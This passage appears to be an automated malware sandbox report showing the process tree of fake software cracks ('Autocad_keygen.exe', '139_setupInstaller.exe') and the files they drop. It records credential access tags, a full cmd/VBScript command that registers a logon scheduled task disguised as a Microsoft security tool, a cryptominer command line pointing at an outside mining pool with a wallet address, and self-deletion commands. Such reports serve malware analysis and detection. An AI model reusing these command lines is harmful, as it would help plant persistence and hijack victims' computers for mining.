                                                                                                            2⤵
                                                                                                              PID:1428
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4208 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:2920
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4204 /prefetch:8
                                                                                                                2⤵
                                                                                                                  PID:2692
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4476 /prefetch:8
                                                                                                                  2⤵
                                                                                                                    PID:2148
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4492 /prefetch:1
                                                                                                                    2⤵
                                                                                                                      PID:2552
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1268 /prefetch:1
                                                                                                                      2⤵
                                                                                                                        PID:3244
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4668 /prefetch:1
                                                                                                                        2⤵
                                                                                                                          PID:3252
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3584 /prefetch:1
                                                                                                                          2⤵
                                                                                                                            PID:3452
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4268 /prefetch:1
                                                                                                                            2⤵
                                                                                                                              PID:3584
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3936 /prefetch:1
                                                                                                                              2⤵
                                                                                                                                PID:3720
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1304 /prefetch:8
                                                                                                                                2⤵
                                                                                                                                  PID:3848
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4752 /prefetch:8
                                                                                                                                  2⤵
                                                                                                                                    PID:3284
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4676 /prefetch:1
                                                                                                                                    2⤵
                                                                                                                                      PID:2916
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1100,16624595968709815344,4839443533715580377,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1268 /prefetch:8
                                                                                                                                      2⤵
                                                                                                                                        PID:3912
                                                                                                                                    • C:\Windows\system32\taskmgr.exe
                                                                                                                                      "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                                      1⤵
                                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:1472
                                                                                                                                    • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                      C:\Windows\system32\AUDIODG.EXE 0x1e0
                                                                                                                                      1⤵
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:456
                                                                                                                                    • C:\Users\Admin\Desktop\Autocad_keygen.exe
                                                                                                                                      "C:\Users\Admin\Desktop\Autocad_keygen.exe"
                                                                                                                                      1⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:2504
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                                                                                                                                        2⤵
                                                                                                                                        • Loads dropped DLL
                                                                                                                                        PID:2312
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                          keygen-pr.exe -p83fsase3Ge
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          PID:2296
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
                                                                                                                                            4⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            • Accesses Microsoft Outlook accounts
                                                                                                                                            • Accesses Microsoft Outlook profiles
                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                            • outlook_win_path
                                                                                                                                            PID:1916
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
                                                                                                                                              5⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1164
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                          keygen-step-1.exe
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:2136
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                                                                                                                                          keygen-step-5.exe
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:2144
                                                                                                                                          • C:\Windows\SysWOW64\control.exe
                                                                                                                                            "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\kLQh9N.cpl",
                                                                                                                                            4⤵
                                                                                                                                              PID:2176
                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\kLQh9N.cpl",
                                                                                                                                                5⤵
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                PID:1924
                                                                                                                                                • C:\Windows\system32\RunDll32.exe
                                                                                                                                                  C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\kLQh9N.cpl",
                                                                                                                                                  6⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  PID:2332
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\kLQh9N.cpl",
                                                                                                                                                    7⤵
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:2928
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                                                                                                                            keygen-step-4.exe
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            PID:2948
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Crack.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Crack.exe"
                                                                                                                                              4⤵
                                                                                                                                                PID:2332
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Crack.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Crack.exe" -u
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:2740
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\RobCleanerInstlr8412712.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX1\RobCleanerInstlr8412712.exe"
                                                                                                                                                4⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                PID:2932
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\cbc0e81e-4d93-4181-a4c2-7d21fcab15bd.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\cbc0e81e-4d93-4181-a4c2-7d21fcab15bd.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:3764
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\bd750684-cab7-48bb-bc8b-4a9feb8b2dd9.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\bd750684-cab7-48bb-bc8b-4a9feb8b2dd9.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:3792
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\cb85c80a-3825-410e-8d94-c8c4c4342bb5.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\cb85c80a-3825-410e-8d94-c8c4c4342bb5.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:3828
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1c68bc0c-81e5-46a7-99ac-9b8445d34c10.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\1c68bc0c-81e5-46a7-99ac-9b8445d34c10.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:3868
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\4fced097-f5e4-4262-b9e8-8e6acd9ea272.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\4fced097-f5e4-4262-b9e8-8e6acd9ea272.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  PID:3964
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\3970255.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\3970255.exe"
                                                                                                                                                    6⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:3024
                                                                                                                                                    • C:\Windows\SysWOW64\control.exe
                                                                                                                                                      "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                      7⤵
                                                                                                                                                        PID:2820
                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                          "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\1PWZJorD.Cpl",
                                                                                                                                                          8⤵
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          PID:3932
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md1_1eaf.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md1_1eaf.exe"
                                                                                                                                                  4⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                  PID:4064
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\low.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\low.exe"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:2016
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\pub1.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\pub1.exe"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:3300
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe
                                                                                                                                                    keygen-step-6.exe
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:2156
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2156 -s 592
                                                                                                                                                      4⤵
                                                                                                                                                      • Program crash
                                                                                                                                                      PID:2784
                                                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                1⤵
                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                PID:2252
                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                  2⤵
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  • Modifies registry class
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:1804
                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                explorer.exe
                                                                                                                                                1⤵
                                                                                                                                                  PID:1348
                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                    "C:\Windows\explorer.exe"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3280
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1552
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef62e4f50,0x7fef62e4f60,0x7fef62e4f70
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3400
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1056 /prefetch:2
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1596
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1704 /prefetch:8
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2916
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1720 /prefetch:8
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2752
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1996 /prefetch:1
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3152
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2288 /prefetch:1
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2396
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1988 /prefetch:1
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3144
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3120 /prefetch:2
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3996
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2276 /prefetch:8
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:2704
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3512 /prefetch:8
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3420
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1044,17642121500494097044,6716283911589174326,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3832 /prefetch:1
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:3692
                                                                                                                                                                            • C:\Users\Admin\Desktop\139_setupInstaller.exe
                                                                                                                                                                              "C:\Users\Admin\Desktop\139_setupInstaller.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:2332
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:3920
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\setup_install.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\setup_install.exe"
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:1428
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c 61d80ba1020cc_Fri09f6231df2b.exe /mixtwo
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:2820
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba1020cc_Fri09f6231df2b.exe
                                                                                                                                                                                              61d80ba1020cc_Fri09f6231df2b.exe /mixtwo
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:2132
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba1020cc_Fri09f6231df2b.exe
                                                                                                                                                                                                  61d80ba1020cc_Fri09f6231df2b.exe /mixtwo
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:3968
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "61d80ba1020cc_Fri09f6231df2b.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80ba1020cc_Fri09f6231df2b.exe" & exit
                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                        PID:2096
                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                          taskkill /im "61d80ba1020cc_Fri09f6231df2b.exe" /f
                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                          PID:2176
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c 61d80bad496c6_Fri09b1f2f20db.exe
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:3288
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80bad496c6_Fri09b1f2f20db.exe
                                                                                                                                                                                                      61d80bad496c6_Fri09b1f2f20db.exe
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:624
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80bad496c6_Fri09b1f2f20db.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS05FFB69D\61d80bad496c6_Fri09b1f2f20db.exe
                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                            PID:3388
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\mni.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\mni.exe"
                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                PID:2672
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Security\Windows SecurityL.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Microsoft\Security\Windows SecurityL.exe"
                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                    PID:276
                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\Admin\AppData\Roaming\Microsoft\Security\Windows SecurityL.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows SecurityL", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\Admin\AppData\Local\Temp\tmpD9FA.vbs & cscript //nologo C:\Users\Admin\AppData\Local\Temp\tmpD9FA.vbs & del C:\Users\Admin\AppData\Local\Temp\tmpD9FA.vbs /f /q & exit
                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                        PID:3112
                                                                                                                                                                                                                        • C:\Windows\system32\cscript.exe
                                                                                                                                                                                                                          cscript //nologo C:\Users\Admin\AppData\Local\Temp\tmpD9FA.vbs
                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                            PID:964
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          "cmd.exe" /c powershell -command "$adapterString = (Get-ItemProperty -Path \"HKLM:\\SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\0*\" -Name HardwareInformation.AdapterString -ErrorAction SilentlyContinue).\"HardwareInformation.AdapterString\"; $adapterString" & exit
                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                            PID:604
                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              powershell -command "$adapterString = (Get-ItemProperty -Path \"HKLM:\\SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\0*\" -Name HardwareInformation.AdapterString -ErrorAction SilentlyContinue).\"HardwareInformation.AdapterString\"; $adapterString"
                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                PID:3328
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Security\c.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\Security\c.exe" --url pool.hashvault.pro:80 --user 44proqVGNvb2STivDYLp53iLM71XxG1ZeU3NvGBC4VgJbgh7PDUMvas4enwa762jDu9q78wg3PgZBRk13j13aproUkk4k9c --pass hxy --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                PID:3652
                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c timeout 3 > nul & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\Admin\AppData\Local\Temp\mni.exe') }).Terminate()" & choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\mni.exe" & exit
                                                                                                                                                                                                                              9⤵
